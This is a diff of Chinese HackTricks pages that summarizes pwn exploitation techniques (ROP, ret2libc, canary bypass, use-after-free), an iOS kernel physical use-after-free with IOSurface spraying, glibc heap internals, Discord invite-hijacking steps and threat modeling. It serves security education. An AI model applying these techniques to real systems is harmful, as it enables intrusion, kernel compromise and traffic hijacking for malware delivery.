- 有 **2 个冲突的数组**,一个用于存储数据的 **地址**,另一个用于该数据的 **大小**。可以从一个数组覆盖另一个数组,从而写入一个任意地址并将其视为大小。这允许在 GOT 表中写入 `free` 函数的地址,然后用 `system` 的地址覆盖它,并从内存中调用 free,使用 `/bin/sh`。
|
||||
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
|
||||
- 64 位,无 nx。覆盖一个大小以获得一种缓冲区溢出,其中每个东西都将被用作双倍数字并按从小到大的顺序排序,因此需要创建一个满足该要求的 shellcode,考虑到 canary 不应从其位置移动,最后用一个返回地址覆盖 RIP,该地址满足先前的要求,并将最大的地址设置为指向栈开始的新地址(由程序泄露),以便可以使用 ret 跳转到那里。
|
||||
- 64 位,无 nx。覆盖一个大小以获得一种缓冲区溢出,其中每个东西都将被用作双倍数字并按从小到大的顺序排序,因此需要创建一个满足该要求的 shellcode,考虑到 canary 不应从其位置移动,最后用一个返回地址覆盖 RIP,该地址满足先前的要求,并将最大的地址设置为指向栈开始的新地址(由程序泄漏),以便可以使用 ret 跳转到那里。
|
||||
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
- 64 位,无 relro,canary,nx,无 pie。栈中的数组存在一个 off-by-one 漏洞,允许控制一个指针,从而授予 WWW(它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址)。栈被控制,因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`,并在栈中添加 `main` 的地址(循环回到 `main`)。使用 ROP 链泄露 GOT 中 put 的地址,使用 puts(`exit` 将被调用,因此将调用 `pop rdi; ret`,因此在栈中执行此链)。最后,使用执行 ret2lib 的新 ROP 链。
|
||||
- 64 位,无 relro,canary,nx,无 pie。栈中的数组存在一个 off-by-one 漏洞,允许控制一个指针,从而授予 WWW(它将数组中所有数字的总和写入被数组中的 off-by-one 覆盖的地址)。栈被控制,因此 GOT 的 `exit` 地址被覆盖为 `pop rdi; ret`,并在栈中添加 `main` 的地址(循环回到 `main`)。使用 ROP 链泄漏 GOT 中 put 的地址,使用 puts(`exit` 将被调用,因此将调用 `pop rdi; ret`,因此在栈中执行此链)。最后,使用执行 ret2lib 的新 ROP 链。
|
||||
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
|
||||
- 32 位,无 relro,无 canary,nx,pie。利用错误的索引泄露 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。
|
||||
- 32 位,无 relro,无 canary,nx,pie。利用错误的索引泄漏 libc 和堆的地址。利用缓冲区溢出进行 ret2lib 调用 `system('/bin/sh')`(需要堆地址以绕过检查)。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -106,7 +106,7 @@ log.info(f"The canary is: {canary}")
|
||||
同一进程的线程将**共享相同的 canary token**,因此如果二进制文件在每次攻击发生时生成一个新线程,将有可能**暴力破解**一个 canary。
|
||||
|
||||
此外,在受 canary 保护的**线程函数**中发生的缓冲区**溢出**可能被用来**修改存储在 TLS 中的主 canary**。这是因为,可能通过线程的**栈**中的**bof**到达存储 TLS(因此也包括 canary)的内存位置。\
|
||||
因此,该缓解措施是无效的,因为检查使用的是两个相同的 canary(尽管被修改过)。\
|
||||
因此,缓解措施是无效的,因为检查使用的是两个相同的 canary(尽管被修改过)。\
|
||||
此攻击在以下写作中进行了描述:[http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
||||
|
||||
还可以查看 [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) 的演示,其中提到通常**TLS**是通过**`mmap`**存储的,当创建**线程**的**栈**时,它也是通过 `mmap` 生成的,这可能允许如前述写作中所示的溢出。
|
||||
@ -116,4 +116,4 @@ log.info(f"The canary is: {canary}")
|
||||
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
||||
- 64 位,无 PIE,nx,BF canary,在某些内存中写入 ROP 以调用 `execve` 并跳转到那里。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 物理使用后释放
|
||||
|
||||
@ -12,7 +12,7 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**
|
||||
|
||||
#### iOS中的页表级别
|
||||
|
||||
页表分为三个层次的层次结构:
|
||||
页表分为三个层次进行分层组织:
|
||||
|
||||
1. **L1页表(第1级)**:
|
||||
* 这里的每个条目表示一个大范围的虚拟内存。
|
||||
@ -22,12 +22,12 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**
|
||||
* 如果L1条目无法映射整个区域,它可能指向L2表。
|
||||
3. **L3页表(第3级)**:
|
||||
* 这是最细的级别,每个条目映射一个单独的**4 KB**内存页。
|
||||
* 如果需要更细粒度的控制,L2条目可以指向L3表。
|
||||
* 如果需要更细粒度的控制,L2条目可能指向L3表。
|
||||
|
||||
#### 虚拟到物理内存的映射
|
||||
|
||||
* **直接映射(块映射)**:
|
||||
* 页表中的某些条目直接**将一系列虚拟地址**映射到一系列连续的物理地址(就像快捷方式)。
|
||||
* 页表中的某些条目直接**将一系列虚拟地址**映射到一系列连续的物理地址(如快捷方式)。
|
||||
* **指向子页表的指针**:
|
||||
* 如果需要更细的控制,一个级别中的条目(例如L1)可以指向下一个级别的**子页表**(例如L2)。
|
||||
|
||||
@ -36,9 +36,9 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**
|
||||
假设你尝试访问虚拟地址**0x1000000000**:
|
||||
|
||||
1. **L1表**:
|
||||
* 内核检查与此虚拟地址对应的L1页表条目。如果它有一个**指向L2页表的指针**,则转到该L2表。
|
||||
* 内核检查与此虚拟地址对应的L1页表条目。如果它有指向L2页表的**指针**,则转到该L2表。
|
||||
2. **L2表**:
|
||||
* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续到那里。
|
||||
* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续前往。
|
||||
3. **L3表**:
|
||||
* 内核查找最终的L3条目,该条目指向实际内存页的**物理地址**。
|
||||
|
||||
@ -60,8 +60,8 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**
|
||||
1. 进程**分配**一些内存为**可读和可写**。
|
||||
2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。
|
||||
3. 进程**释放**(释放)内存。
|
||||
4. 然而,由于一个**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。
|
||||
5. 内核可以**重新分配这块“释放”的物理内存**用于其他目的,例如**内核数据**。
|
||||
4. 然而,由于**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。
|
||||
5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,如**内核数据**。
|
||||
6. 由于映射未被删除,进程仍然可以**读写**这块物理内存。
|
||||
|
||||
这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。
|
||||
@ -71,9 +71,9 @@ iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**
|
||||
由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术:
|
||||
|
||||
1. 攻击者在内核内存中**创建大量IOSurface对象**。
|
||||
2. 每个IOSurface对象在其字段中包含一个**魔法值**,使其易于识别。
|
||||
3. 他们**扫描释放的页面**以查看这些IOSurface对象是否落在释放的页面上。
|
||||
4. 当他们在释放的页面上找到一个IOSurface对象时,他们可以使用它来**读写内核内存**。
|
||||
2. 每个IOSurface对象在其字段中包含一个**魔法值**,便于识别。
|
||||
3. 他们**扫描释放的页面**,查看这些IOSurface对象是否落在释放的页面上。
|
||||
4. 当他们在释放的页面上找到一个IOSurface对象时,他们可以用它来**读写内核内存**。
|
||||
|
||||
关于此的更多信息请参见[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。
|
||||
|
||||
@ -204,4 +204,4 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
||||
|
||||
通过这些原语,漏洞利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语,这可能需要绕过额外的保护(例如,在较新的arm64e设备上的PPL)。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Libc Heap
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Heap Basics
|
||||
|
||||
@ -12,15 +12,15 @@
|
||||
|
||||
### Basic Chunk Allocation
|
||||
|
||||
当请求在堆中存储某些数据时,会为其分配堆的一部分空间。该空间将属于一个 bin,只有请求的数据 + bin 头的空间 + 最小 bin 大小偏移量将为该块保留。目标是尽可能少地保留内存,而不使查找每个块的位置变得复杂。为此,使用元数据块信息来了解每个已用/空闲块的位置。
|
||||
当请求将某些数据存储在堆中时,会为其分配堆的一部分空间。该空间将属于一个 bin,并且仅为请求的数据 + bin 头的空间 + 最小 bin 大小偏移量保留。目标是尽可能少地保留内存,而不使查找每个 chunk 的位置变得复杂。为此,使用元数据 chunk 信息来知道每个已用/空闲 chunk 的位置。
|
||||
|
||||
根据使用的 bin,有不同的方法来保留空间,但一般的方法如下:
|
||||
根据使用的 bin,有不同的方法来保留空间,但一般方法如下:
|
||||
|
||||
- 程序开始请求一定量的内存。
|
||||
- 如果在块列表中有足够大的可用块来满足请求,则将使用该块。
|
||||
- 这甚至可能意味着可用块的一部分将用于此请求,其余部分将添加到块列表中。
|
||||
- 如果列表中没有可用块,但已分配的堆内存中仍有空间,堆管理器将创建一个新块。
|
||||
- 如果没有足够的堆空间来分配新块,堆管理器会请求内核扩展分配给堆的内存,然后使用这块内存生成新块。
|
||||
- 如果在 chunk 列表中有足够大的可用 chunk,将使用它。
|
||||
- 这甚至可能意味着可用 chunk 的一部分将用于此请求,其余部分将添加到 chunk 列表中。
|
||||
- 如果列表中没有可用的 chunk,但已分配的堆内存中仍有空间,堆管理器将创建一个新 chunk。
|
||||
- 如果没有足够的堆空间来分配新 chunk,堆管理器会请求内核扩展分配给堆的内存,然后使用这块内存生成新 chunk。
|
||||
- 如果一切都失败,`malloc` 返回 null。
|
||||
|
||||
请注意,如果请求的 **内存超过阈值**,将使用 **`mmap`** 来映射请求的内存。
|
||||
@ -29,21 +29,21 @@
|
||||
|
||||
在 **多线程** 应用程序中,堆管理器必须防止可能导致崩溃的 **竞争条件**。最初,这是通过使用 **全局互斥锁** 来确保一次只有一个线程可以访问堆,但这导致了由于互斥锁引起的瓶颈而产生的 **性能问题**。
|
||||
|
||||
为了解决这个问题,ptmalloc2 堆分配器引入了“区域”,每个 **区域** 作为一个 **独立的堆**,具有 **自己的** 数据 **结构** 和 **互斥锁**,允许多个线程在不相互干扰的情况下执行堆操作,只要它们使用不同的区域。
|
||||
为了解决这个问题,ptmalloc2 堆分配器引入了“arena”,每个 **arena** 作为一个 **独立的堆**,具有 **自己的** 数据 **结构** 和 **互斥锁**,允许多个线程在不相互干扰的情况下执行堆操作,只要它们使用不同的 arena。
|
||||
|
||||
默认的“主”区域处理单线程应用程序的堆操作。当 **新线程** 被添加时,堆管理器为它们分配 **次要区域** 以减少竞争。它首先尝试将每个新线程附加到未使用的区域,如果需要则创建新的区域,最多为 32 位系统的 CPU 核心数量的 2 倍,64 位系统的 8 倍。一旦达到限制,**线程必须共享区域**,这可能导致竞争。
|
||||
默认的“主” arena 处理单线程应用程序的堆操作。当 **新线程** 被添加时,堆管理器为它们分配 **次要 arena** 以减少竞争。它首先尝试将每个新线程附加到未使用的 arena,如果需要则创建新的,最多达到 32 位系统 CPU 核心数量的 2 倍和 64 位系统的 8 倍。一旦达到限制,**线程必须共享 arena**,这可能导致竞争。
|
||||
|
||||
与使用 `brk` 系统调用扩展的主区域不同,次要区域使用 `mmap` 和 `mprotect` 创建“子堆”,以模拟堆行为,从而在管理多线程操作的内存时提供灵活性。
|
||||
与使用 `brk` 系统调用扩展的主 arena 不同,次要 arena 使用 `mmap` 和 `mprotect` 创建“子堆”,以模拟堆行为,从而在多线程操作中灵活管理内存。
|
||||
|
||||
### Subheaps
|
||||
|
||||
子堆作为多线程应用程序中次要区域的内存储备,允许它们独立于主堆增长和管理自己的堆区域。以下是子堆与初始堆的不同之处及其操作方式:
|
||||
子堆作为多线程应用程序中次要 arena 的内存储备,允许它们独立于主堆增长和管理自己的堆区域。以下是子堆与初始堆的不同之处及其操作方式:
|
||||
|
||||
1. **初始堆与子堆**:
|
||||
- 初始堆位于程序的二进制文件后面,并通过 `sbrk` 系统调用扩展。
|
||||
- 次要区域使用的子堆是通过 `mmap` 创建的,`mmap` 是一个映射指定内存区域的系统调用。
|
||||
- 子堆由次要 arena 使用,通过 `mmap` 创建,这是一个映射指定内存区域的系统调用。
|
||||
2. **使用 `mmap` 进行内存保留**:
|
||||
- 当堆管理器创建子堆时,它通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个其他系统进程或分配不应使用的区域。
|
||||
- 当堆管理器创建子堆时,通过 `mmap` 保留一大块内存。此保留不会立即分配内存;它只是指定一个区域,其他系统进程或分配不应使用。
|
||||
- 默认情况下,子堆的保留大小为 32 位进程的 1 MB 和 64 位进程的 64 MB。
|
||||
3. **使用 `mprotect` 逐步扩展**:
|
||||
- 保留的内存区域最初标记为 `PROT_NONE`,表示内核尚不需要为此空间分配物理内存。
|
||||
@ -94,7 +94,7 @@ char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
|
||||
- 因此,这些bins的**第一个块**将有一个**指向此结构的反向指针**,而这些bins的**最后一个块**将有一个**指向此结构的前向指针**。这基本上意味着,如果你能**泄漏主区域中的这些地址**,你将获得指向**libc**中结构的指针。
|
||||
- 结构`struct malloc_state *next;`和`struct malloc_state *next_free;`是区域的链表
|
||||
- `top`块是最后一个“块”,基本上是**所有堆剩余空间**。一旦顶块“空”,堆就完全使用,需要请求更多空间。
|
||||
- `last reminder`块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,剩余部分的指针放置在这里。
|
||||
- `last reminder`块来自于没有可用的精确大小块的情况,因此一个更大的块被拆分,剩余部分的指针放在这里。
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
@ -144,7 +144,7 @@ INTERNAL_SIZE_T max_system_mem;
|
||||
```
|
||||
### malloc_chunk
|
||||
|
||||
这个结构表示一块特定的内存。不同字段对已分配和未分配的块具有不同的含义。
|
||||
该结构表示特定的内存块。不同字段对已分配和未分配块具有不同的含义。
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
struct malloc_chunk {
|
||||
@ -159,19 +159,19 @@ struct malloc_chunk* bk_nextsize;
|
||||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
如前所述,这些块也包含一些元数据,在此图中很好地表示:
|
||||
如前所述,这些块也有一些元数据,在此图中很好地表示:
|
||||
|
||||
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
元数据通常是0x08B,表示当前块大小,使用最后3位表示:
|
||||
元数据通常是0x08B,表示当前块大小,使用最后3位来指示:
|
||||
|
||||
- `A`:如果为1,则来自子堆;如果为0,则在主区域
|
||||
- `A`:如果为1,则来自子堆,如果为0,则在主区域
|
||||
- `M`:如果为1,则该块是使用mmap分配的空间的一部分,而不是堆的一部分
|
||||
- `P`:如果为1,则前一个块正在使用中
|
||||
|
||||
然后是用户数据的空间,最后是0x08B,用于指示块可用时的前一个块大小(或在分配时存储用户数据)。
|
||||
|
||||
此外,当可用时,用户数据还用于包含一些数据:
|
||||
此外,当可用时,用户数据也用于包含一些数据:
|
||||
|
||||
- **`fd`**:指向下一个块的指针
|
||||
- **`bk`**:指向前一个块的指针
|
||||
@ -186,7 +186,7 @@ typedef struct malloc_chunk* mchunkptr;
|
||||
### 块指针
|
||||
|
||||
当使用malloc时,返回一个可以写入的内容的指针(就在头部之后),然而,在管理块时,需要一个指向头部(元数据)开始的指针。\
|
||||
为这些转换使用以下函数:
|
||||
为这些转换使用这些函数:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
@ -261,7 +261,7 @@ req = (req + (__MTAG_GRANULE_SIZE - 1)) &
|
||||
return request2size (req);
|
||||
}
|
||||
```
|
||||
注意,在计算所需的总空间时,仅添加 `SIZE_SZ` 1 次,因为 `prev_size` 字段可以用来存储数据,因此只需要初始头部。
|
||||
注意,在计算所需的总空间时,仅添加了 `SIZE_SZ` 1 次,因为 `prev_size` 字段可以用来存储数据,因此只需要初始头部。
|
||||
|
||||
### 获取块数据并更改元数据
|
||||
|
||||
@ -505,4 +505,4 @@ heap-memory-functions/heap-functions-security-checks.md
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -51,12 +51,12 @@ d = malloc(20); // a
|
||||
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
|
||||
- ARM64. 使用后释放:生成一个用户对象,释放它,生成一个获取已释放块的对象并允许写入,**覆盖之前的 user->password 位置**。重用用户以**绕过密码检查**
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- 该程序允许创建笔记。笔记将包含在 malloc(8) 中的笔记信息(带有可以调用的函数指针)和指向另一个 malloc(\<size>) 的指针,后者包含笔记的内容。
|
||||
- 攻击将是创建 2 个笔记(note0 和 note1),其 malloc 内容大于笔记信息大小,然后释放它们以使其进入快速 bin(或 tcache)。
|
||||
- 该程序允许创建笔记。一个笔记将包含在 malloc(8) 中的笔记信息(带有可以调用的函数指针)和指向另一个 malloc(\<size>) 的指针,后者包含笔记的内容。
|
||||
- 攻击将是创建 2 个笔记(note0 和 note1),其 malloc 内容大于笔记信息大小,然后释放它们,使其进入快速 bin(或 tcache)。
|
||||
- 然后,创建另一个笔记(note2),内容大小为 8。内容将位于 note1 中,因为该块将被重用,我们可以修改函数指针以指向 win 函数,然后使用后释放 note1 来调用新的函数指针。
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- 可以分配一些内存,写入所需值,释放它,重新分配它,由于之前的数据仍然存在,它将根据块中的新预期结构进行处理,从而可以设置值以获取标志。
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- 在这种情况下,需要在特定块中写入 4,该块是第一个被分配的块(即使在强制释放所有块后)。在每个新分配的块中,其在数组索引中的编号被存储。然后,分配 4 个块(+ 最初分配的),最后一个块将包含 4,释放它们并强制重新分配第一个块,这将使用最后释放的块,即包含 4 的块。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Discord 的邀请系统漏洞允许威胁行为者声称过期或已删除的邀请代码(临时、永久或自定义虚荣)作为任何 Level 3 提升服务器上的新虚荣链接。通过将所有代码标准化为小写,攻击者可以预先注册已知的邀请代码,并在原始链接过期或源服务器失去提升后静默劫持流量。
|
||||
Discord 的邀请系统漏洞允许威胁行为者声称过期或删除的邀请代码(临时、永久或自定义虚荣)作为任何 Level 3 提升服务器上的新虚荣链接。通过将所有代码标准化为小写,攻击者可以预先注册已知的邀请代码,并在原始链接过期或源服务器失去提升后静默劫持流量。
|
||||
|
||||
## 邀请类型和劫持风险
|
||||
|
||||
| 邀请类型 | 可劫持? | 条件 / 备注 |
|
||||
| 邀请类型 | 可劫持? | 条件 / 评论 |
|
||||
|-----------------------|-------------|--------------------------------------------------------------------------------------------------------|
|
||||
| 临时邀请链接 | ✅ | 过期后,代码变得可用,可以被提升服务器重新注册为虚荣 URL。 |
|
||||
| 永久邀请链接 | ⚠️ | 如果被删除且仅由小写字母和数字组成,代码可能会再次变得可用。 |
|
||||
| 自定义虚荣链接 | ✅ | 如果原始服务器失去其 Level 3 Boost,其虚荣邀请将可供新注册。 |
|
||||
| 自定义虚荣链接 | ✅ | 如果原始服务器失去 Level 3 Boost,其虚荣邀请将变得可供新注册。 |
|
||||
|
||||
## 利用步骤
|
||||
|
||||
@ -22,7 +22,7 @@ Discord 的邀请系统漏洞允许威胁行为者声称过期或已删除的邀
|
||||
- 在 **服务器设置 → 虚荣 URL** 中,尝试分配目标邀请代码。如果被接受,该代码将被恶意服务器保留。
|
||||
3. 劫持激活
|
||||
- 对于临时邀请,等待原始邀请过期(或如果您控制源,则手动删除它)。
|
||||
- 对于包含大写字母的代码,小写变体可以立即被声明,尽管重定向仅在过期后激活。
|
||||
- 对于包含大写字母的代码,小写变体可以立即声明,尽管重定向仅在过期后激活。
|
||||
4. 静默重定向
|
||||
- 一旦劫持激活,访问旧链接的用户将无缝地被发送到攻击者控制的服务器。
|
||||
|
||||
@ -58,4 +58,4 @@ navigator.clipboard.writeText(cmd);
|
||||
- 从信任到威胁:被劫持的 Discord 邀请用于多阶段恶意软件交付 – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord 自定义邀请链接文档 – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,10 +1,10 @@
|
||||
# 威胁建模
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 威胁建模
|
||||
|
||||
欢迎来到 HackTricks 的全面威胁建模指南!开始探索网络安全这一关键方面,我们识别、理解并制定针对系统潜在漏洞的策略。此线程作为逐步指南,包含真实案例、实用软件和易于理解的解释。非常适合希望加强网络安全防御的新手和经验丰富的从业者。
|
||||
欢迎来到 HackTricks 关于威胁建模的综合指南!开始探索网络安全这一关键方面,我们识别、理解并制定针对系统潜在漏洞的策略。此线程作为逐步指南,包含真实案例、实用软件和易于理解的解释。非常适合希望加强网络安全防御的新手和经验丰富的从业者。
|
||||
|
||||
### 常用场景
|
||||
|
||||
@ -15,46 +15,46 @@
|
||||
|
||||
威胁模型通常以图表、图像或其他形式的视觉插图表示,描绘应用程序的计划架构或现有构建。它与**数据流图**相似,但关键区别在于其安全导向的设计。
|
||||
|
||||
威胁模型通常包含用红色标记的元素,象征潜在的漏洞、风险或障碍。为了简化风险识别过程,采用 CIA(机密性、完整性、可用性)三元组,构成许多威胁建模方法的基础,其中 STRIDE 是最常见的。然而,所选方法可能会根据具体上下文和要求而有所不同。
|
||||
威胁模型通常包含用红色标记的元素,象征潜在的漏洞、风险或障碍。为了简化风险识别过程,采用CIA(机密性、完整性、可用性)三元组,构成许多威胁建模方法的基础,其中STRIDE是最常见的之一。然而,所选方法可能会根据具体上下文和要求而有所不同。
|
||||
|
||||
### CIA 三元组
|
||||
### CIA三元组
|
||||
|
||||
CIA 三元组是信息安全领域广泛认可的模型,代表机密性、完整性和可用性。这三大支柱构成了许多安全措施和政策的基础,包括威胁建模方法。
|
||||
CIA三元组是信息安全领域广泛认可的模型,代表机密性、完整性和可用性。这三大支柱构成了许多安全措施和政策的基础,包括威胁建模方法。
|
||||
|
||||
1. **机密性**:确保数据或系统不被未经授权的个人访问。这是安全的核心方面,需要适当的访问控制、加密和其他措施以防止数据泄露。
|
||||
2. **完整性**:数据在其生命周期内的准确性、一致性和可信性。该原则确保数据未被未经授权的方篡改或更改。通常涉及校验和、哈希和其他数据验证方法。
|
||||
3. **可用性**:确保数据和服务在需要时可供授权用户访问。这通常涉及冗余、容错和高可用性配置,以保持系统在中断情况下的运行。
|
||||
2. **完整性**:数据在其生命周期内的准确性、一致性和可信度。该原则确保数据未被未经授权的方更改或篡改。通常涉及校验和、哈希和其他数据验证方法。
|
||||
3. **可用性**:确保数据和服务在需要时可供授权用户访问。这通常涉及冗余、容错和高可用性配置,以保持系统在中断情况下仍能运行。
|
||||
|
||||
### 威胁建模方法
|
||||
|
||||
1. **STRIDE**:由微软开发,STRIDE 是**欺骗、篡改、否认、信息泄露、服务拒绝和特权提升**的首字母缩略词。每个类别代表一种威胁,这种方法通常在程序或系统的设计阶段用于识别潜在威胁。
|
||||
2. **DREAD**:这是微软用于识别威胁风险评估的另一种方法。DREAD 代表**损害潜力、可重现性、可利用性、受影响用户和可发现性**。每个因素都被评分,结果用于优先处理识别的威胁。
|
||||
1. **STRIDE**:由微软开发,STRIDE是**欺骗、篡改、否认、信息泄露、服务拒绝和特权提升**的首字母缩略词。每个类别代表一种威胁,这种方法通常用于程序或系统的设计阶段,以识别潜在威胁。
|
||||
2. **DREAD**:这是微软用于已识别威胁风险评估的另一种方法。DREAD代表**损害潜力、可重现性、可利用性、受影响用户和可发现性**。每个因素都被评分,结果用于优先排序已识别的威胁。
|
||||
3. **PASTA**(攻击模拟和威胁分析过程):这是一种七步的**风险中心**方法。它包括定义和识别安全目标、创建技术范围、应用程序分解、威胁分析、漏洞分析和风险/分流评估。
|
||||
4. **Trike**:这是一种基于风险的方法,专注于保护资产。它从**风险管理**的角度出发,关注威胁和漏洞。
|
||||
5. **VAST**(可视化、敏捷和简单的威胁建模):这种方法旨在更易于访问,并集成到敏捷开发环境中。它结合了其他方法的元素,专注于**威胁的可视化表示**。
|
||||
6. **OCTAVE**(操作关键威胁、资产和漏洞评估):由 CERT 协调中心开发,该框架旨在**进行组织风险评估,而不是特定系统或软件**。
|
||||
6. **OCTAVE**(操作关键威胁、资产和漏洞评估):由CERT协调中心开发,该框架旨在**进行组织风险评估,而不是特定系统或软件**。
|
||||
|
||||
## 工具
|
||||
|
||||
有几种工具和软件解决方案可用于**协助**创建和管理威胁模型。以下是您可以考虑的一些工具。
|
||||
有几种工具和软件解决方案可用于**协助**创建和管理威胁模型。以下是您可能考虑的一些工具。
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
一个先进的跨平台多功能 GUI 网络爬虫/蜘蛛,适用于网络安全专业人员。Spider Suite 可用于攻击面映射和分析。
|
||||
一个先进的跨平台多功能GUI网络爬虫/蜘蛛,适用于网络安全专业人员。Spider Suite可用于攻击面映射和分析。
|
||||
|
||||
**使用方法**
|
||||
|
||||
1. 选择一个 URL 并爬取
|
||||
1. 选择一个URL并爬取
|
||||
|
||||
<figure><img src="../images/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
2. 查看图形
|
||||
2. 查看图表
|
||||
|
||||
<figure><img src="../images/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### [OWASP Threat Dragon](https://github.com/OWASP/threat-dragon/releases)
|
||||
|
||||
OWASP 的一个开源项目,Threat Dragon 是一个包含系统图示和规则引擎以自动生成威胁/缓解措施的网络和桌面应用程序。
|
||||
OWASP的一个开源项目,Threat Dragon是一个包含系统图示和规则引擎以自动生成威胁/缓解措施的Web和桌面应用程序。
|
||||
|
||||
**使用方法**
|
||||
|
||||
@ -76,19 +76,19 @@ OWASP 的一个开源项目,Threat Dragon 是一个包含系统图示和规则
|
||||
|
||||
4. 创建您的模型
|
||||
|
||||
您可以使用像 SpiderSuite Crawler 这样的工具来获得灵感,基本模型可能看起来像这样
|
||||
您可以使用像SpiderSuite Crawler这样的工具来获得灵感,基本模型可能看起来像这样
|
||||
|
||||
<figure><img src="../images/0_basic_threat_model.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
关于实体的简单解释:
|
||||
|
||||
- 过程(实体本身,如 Web 服务器或 Web 功能)
|
||||
- 行为者(如网站访客、用户或管理员的人)
|
||||
- 过程(实体本身,如Web服务器或Web功能)
|
||||
- 参与者(如网站访客、用户或管理员的人)
|
||||
- 数据流线(交互的指示)
|
||||
- 信任边界(不同的网络段或范围。)
|
||||
- 信任边界(不同的网络段或范围)
|
||||
- 存储(数据存储的地方,如数据库)
|
||||
|
||||
5. 创建威胁(步骤 1)
|
